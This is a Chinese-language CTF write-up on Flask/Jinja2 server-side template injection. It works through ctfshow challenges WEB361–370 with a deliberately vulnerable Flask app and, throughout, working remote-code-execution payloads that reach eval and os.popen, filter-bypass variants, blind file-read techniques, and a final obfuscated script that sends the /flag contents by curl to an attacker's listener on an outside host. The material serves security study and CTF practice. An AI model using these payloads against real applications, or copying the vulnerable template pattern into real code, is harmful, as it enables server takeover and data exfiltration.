Flask(Jinja2)服务端模板注入漏洞
漏洞简介
flask/ssti漏洞,即: Flask(Jinja2) 服务端模板注入漏洞(SSTI)。Flask 是一个使用 Python 编写的轻量级 Web 应用框架,Flask 为你提供工具,库和技术来允许你构建一个 web 应用程序。这个 web 应用程序可以是一些 web 页面、博客、wiki、基于 web 的日历应用或商业网站。Jinja 2是一种面向Python的现代和设计友好的模板语言。
环境配置
启动docker
1 | sudo docker-compose up -d |
启动app.py
漏洞复现
题目源码
1 | from flask import Flask, request |
注入点
1 | name = request.args.get('name', 'guest') |
函数利用get获取参数进入template,形成任意构造注入
尝试http://127.0.0.1:5000/?name={{6*6}}
官方漏洞利用
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("id").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
url编码后
1 | %7b%25%20for%20c%20in%20%5b%5d.__class__.__base__.__subclasses__()%20%25%7d%0a%7b%25%20if%20c.__name__%20%3d%3d%20'catch_warnings'%20%25%7d%0a%20%20%7b%25%20for%20b%20in%20c.__init__.__globals__.values()%20%25%7d%0a%20%20%7b%25%20if%20b.__class__%20%3d%3d%20%7b%7d.__class__%20%25%7d%0a%20%20%20%20%7b%25%20if%20'eval'%20in%20b.keys()%20%25%7d%0a%20%20%20%20%20%20%7b%7b%20b%5b'eval'%5d('__import__(%22os%22).popen(%22id%22).read()')%20%7d%7d%0a%20%20%20%20%7b%25%20endif%20%25%7d%0a%20%20%7b%25%20endif%20%25%7d%0a%20%20%7b%25%20endfor%20%25%7d%0a%7b%25%20endif%20%25%7d%0a%7b%25%20endfor%20%25%7d |
成功复现
builtins是python的内建模块,所谓内建模块就是你在使用时不需要import,在python启
动后,在没有执行程序员编写的任何代码前,python会加载内建模块中的函数到内存中。比如经常
使用的abs(),str(),type()等。
python3 payload
1 | {{().__class__.__base__.__subclasses__[137].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls").read()')}} |
python2 payload
1 | #读取密码 |
关闭dockers
1 | sudo docker-compose down |
大佬笔记
1 | __class__ 类的一个内置属性,表示实例对象的类。 |
常用过滤器
int():将值转换为int类型;
float():将值转换为float类型;
lower():将字符串转换为小写;
upper():将字符串转换为大写;
title():把值中的每个单词的首字母都转成大写;
capitalize():把变量值的首字母转成大写,其余字母转小写;
trim():截取字符串前面和后面的空白字符;
wordcount():计算一个长字符串中单词的个数;
reverse():字符串反转;
replace(value,old,new): 替换将old替换为new的字符串;
truncate(value,length=255,killwords=False):截取length长度的字符串;
striptags():删除字符串中所有的HTML标签,如果出现多个空格,将替换成一个空格;
escape()或e:转义字符,会将<、>等符号转义成HTML中的符号。显例:content|escape或content|e。
safe(): 禁用HTML转义,如果开启了全局转义,那么safe过滤器会将变量关掉转义。示例: {{'hello'|safe}};
list():将变量列成列表;
string():将变量转换成字符串;
join():将一个序列中的参数值拼接成字符串。示例看上面payload;
abs():返回一个数值的绝对值;
first():返回一个序列的第一个元素;
last():返回一个序列的最后一个元素;
format(value,arags,*kwargs):格式化字符串。比如:{{ "%s" - "%s"|format('Hello?',"Foo!") }}将输出:Helloo? - Foo!
length():返回一个序列或者字典的长度;
sum():返回列表内数值的和;
sort():返回排序后的列表;
default(value,default_value,boolean=false):如果当前变量没有值,则会使用参数中的值来代替。示例:name|default('xiaotuo')----如果name不存在,则会使用xiaotuo来替代。boolean=False默认是在只有这个变量为undefined的时候才会使用default中的值,如果想使用python的形式判断是否为false,则可以传递boolean=true。也可以使用or来替换。
length()返回字符串的长度,别名是count
ctfshow-WEB361
hello, user_name
代码:
from flask import Flask,request,render_template_string
app = Flask(__name__)
@app.route('/', methods=['GET', 'POST'])
def index():
name = request.args.get('name')
template = '''
<html>
<head>
<title>SSTI</title>
</head>
<body>
<h3>Hello, %s !</h3>
</body>
</html>
'''% (name)
return render_template_string(template)
if __name__ == "__main__":
app.run(host="0.0.0.0", port=5000, debug=True)
测试?name={{6*6}}
接下来看看如何构造payload
1、先找基类object,用空字符串””来找
在python中,object类是Python中所有类的基类,如果定义一个类时没有指定继承哪个类,则默认继承object类。
使用?name={{().__class__}}
,得到空字符串的类<class 'str'>
点号. :python中用来访问变量的属性
__class__:类的一个内置属性,表示实例对象空字符串""的类。
然后使用?name={{().__class__.__base__}}
,得到(<class 'object'>)
__base__ 类型对象的直接基类
__bases__ 类型对象的全部基类,以元组形式,类型的实例通常没有属性 __bases__
2、得到基类之后,找到这个基类的子类集合
使用?name={{().__class__.__base__.__subclasses__()}}
__subclasses__() 返回这个类的子类集合,每个类都保留一个对其直接子类的弱引用列表。该方法返回一个列表,其中包含所有仍然存在的引用。列表按照定义顺序排列。
3、找到其所有子类集合之后找一个我们能够使用的类,要求是这个类的某个方法能够被我们用于执行、找到flag
上面找到这些类可以用
1 | <class ‘_frozen_importlib._ModuleLock’> 80 |
这里使用其第80个类([0]是第一个类)<class '_frozen_importlib._ModuleLock'>
使用?name={{().__class__.__base__.__subclasses__()[80]}}
,得到<class '_frozen_importlib._ModuleLock'>
<class '_frozen_importlib._ModuleLock'> 这个类有个eval方法可以执行系统命令
4、实例化我们找到的类对象
使用?name={{().__class__.__base__.__subclasses__()[80].__init__}}
,实例化这个类
__init__ 初始化类,返回的类型是function
5、找到这个实例化对象的所有方法
使用?name={{().__class__.__base__.__subclasses__()[80].__init__.__globals__}}
__globals__ 使用方式是 function.__globals__获取function所处空间下可使用的module、方法以及所有变量。
6、根据方法寻找flag
?name={{''.__class__.__base__.__subclasses__()[80].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}}
eval()一个方法,用于执行命令
read() 从文件当前位置起读取size个字节,若无参数size,则表示读取至文件结束为止,它范围为字符串对象
ctfshow-WEB363
过滤了单双引号,可以用request来绕过
ctfshow-WEB364
过滤引号和args,利用request的cookie
ctfshow-WEB365
过滤了引号,还有中括号
payload
GET:?name={{url_for.__globals__.os.popen(request.cookies.c).read()}}
Cookie:c=cat /flag
或者使用str[数字]进行字符串拼接
GET:?name={{url_for.__globals__.os.popen(config.__str__().__getitem__(22)~config.__str__().__getitem__(40)~config.__str__().__getitem__(23)~config.__str__().__getitem__(7)~config.__str__().__getitem__(279)~config.__str__().__getitem__(4)~config.__str__().__getitem__(41)~config.__str__().__getitem__(40)~config.__str__().__getitem__(6)
).read()}}
ctfshow-WEB366 367
过滤了下划线 用falsk自带的过滤器attr
attr用于获取变量
1 | ""|attr("__class__") |
常见于点号(.)
被过滤,或者点号(.)
和中括号([])
都被过滤的情况。
ctfshow-WEB368
{{
被过滤,使用{%%}`绕过,再借助`print()`回显
用`{% %}
是可以盲注的,我们这里盲注一下/flag
文件的内容,原理就在于open('/flag').read()
是回显整个文件,但是read函数里加上参数:open('/flag').read(1)
,返回的就是读出所读的文件里的i个字符,以此类推,就可以盲注出了
ctfshow-WEB369
把request给ban了,需要自己凑字符了,这里拿config来凑。一般我们想到的是使用str(),但是一个问题是_被ban了,所以str()用不了;这里拿string过滤器来得到config的字符串:config|string,但是获得字符串后本来应该用中括号或者getitem(),但是问题是_和[ ]被ban了,所以获取字符串中的某个字符比较困难。这里转换成列表,再用列表的pop方法就可以成功得到某个字符了,在跑字符的时候发现没有小写的b,只有大写的B,所以再去一层.lower()方法,方便跑更多字符,
1 | #简单 |
1 | #读文件盲注 |
ctfshow-WEB370
反弹shell,本地开启监听 nc -lvp 4567 等待反弹flag
import requests
cmd='__import__("os").popen("curl http://xxx:4567?p=`cat /flag`").read()'
def fun1(s):
t=[]
for i in range(len(s)):
t.append(ord(s[i]))
k=''
t=list(set(t))
for i in t:
k+='{% set '+'e'*(t.index(i)+1)+'=dict('+'e'*i+'=a)|join|count%}\n'
return k
def fun2(s):
t=[]
for i in range(len(s)):
t.append(ord(s[i]))
t=list(set(t))
k=''
for i in range(len(s)):
if i<len(s)-1:
k+='chr('+'e'*(t.index(ord(s[i]))+1)+')%2b'
else:
k+='chr('+'e'*(t.index(ord(s[i]))+1)+')'
return k
url ='http://68f8cbd4-f452-4d69-b382-81eafed22f3f.chall.ctf.show/?name='+fun1(cmd)+'''
{% set coun=dict(eeeeeeeeeeeeeeeeeeeeeeee=a)|join|count%}
{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(coun)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set cmd='''+fun2(cmd)+'''
%}
{%if x.eval(cmd)%}
abc
{%endif%}
'''
print(url)